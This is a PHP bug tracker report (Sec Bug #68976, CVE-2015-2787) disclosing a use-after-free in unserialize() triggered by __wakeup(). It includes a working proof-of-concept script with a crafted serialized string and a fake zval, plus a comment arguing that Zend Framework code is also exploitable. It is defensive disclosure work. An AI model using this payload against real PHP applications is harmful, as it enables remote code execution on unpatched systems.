Use After Free Vulnerability in unserialize()
| Sec Bug #68976 | Use After Free Vulnerability in unserialize() | ||||
|---|---|---|---|---|---|
| Submitted: | 2015-02-03 06:18 UTC | Modified: | 2015-03-31 05:51 UTC | ||
| From: | taoguangchen at icloud dot com | Assigned: | stas (profile) | ||
| Status: | Closed | Package: | *General Issues | ||
| PHP Version: | 5.6.5 | OS: | * | ||
| Private report: | No | CVE-ID: | 2015-2787 | ||
[2015-02-03 06:18 UTC] taoguangchen at icloud dot com
Description:
------------
static inline int object_common2(UNSERIALIZE_PARAMETER, zend_long elements)
{
zval retval;
zval fname;
if (Z_TYPE_P(rval) != IS_OBJECT) {
return 0;
}
//??? TODO: resize before
if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_P(rval), elements, 1)) {
return 0;
}
ZVAL_DEREF(rval);
if (Z_OBJCE_P(rval) != PHP_IC_ENTRY &&
zend_hash_str_exists(&Z_OBJCE_P(rval)->function_table, "__wakeup", sizeof("__wakeup")-1)) {
ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1);
BG(serialize_lock)++;
call_user_function_ex(CG(function_table), rval, &fname, &retval, 0, 0, 1, NULL);
The __wakeup() magic method lead to this problem.
The simple code:
<?php
class evilClass {
public $name;
function __wakeup() {
unset($this->name);
}
}
$fakezval = pack(
'IIII',
0x00100000,
0x00000400,
0x00000000,
0x00000006
);
$data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:4:"name";a:2:{i:0;i:1;i:1;i:2;}}i:1;R:4;}');
for($i = 0; $i < 5; $i++) {
$v[$i] = $fakezval.$i;
}
var_dump($data);
?>
The unset() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.
Patches
Pull Requests
History
AllCommentsChangesGit/SVN commits
[2015-02-16 05:39 UTC] stas@php.net
[2015-02-16 07:04 UTC] taoguangchen at icloud dot com
In fact, many programs use __wakeup(), and don't need a special definition of __wakeup(), some very common operations can cause problems, like Zend Framework 2 class Mbox extends AbstractStorage { ... protected function openMboxFile($filename) { if ($this->fh) { $this->close(); } ErrorHandler::start(); $this->fh = fopen($filename, 'r'); $error = ErrorHandler::stop(); if (!$this->fh) { throw new Exception\RuntimeException('cannot open mbox file', 0, $error); } $this->filename = $filename; $this->filemtime = filemtime($this->filename); ... public function close() { ErrorHandler::start(E_WARNING); fclose($this->fh); ErrorHandler::stop(); $this->positions = array(); } ... public function __wakeup() { ErrorHandler::start(); $filemtime = filemtime($this->filename); ErrorHandler::stop(); if ($this->filemtime != $filemtime) { $this->close(); $this->openMboxFile($this->filename); } else { ErrorHandler::start(); $this->fh = fopen($this->filename, 'r'); $error = ErrorHandler::stop(); if (!$this->fh) { throw new Exception\RuntimeException('cannot open mbox file', 0, $error); } } } $this->positions, $this->filemtime and etc will be assigned, which leads to use after free vulnerability and remote code execution.[2015-03-02 08:09 UTC] taoguangchen at icloud dot com
[2015-03-17 23:44 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
[2015-03-17 23:44 UTC] stas@php.net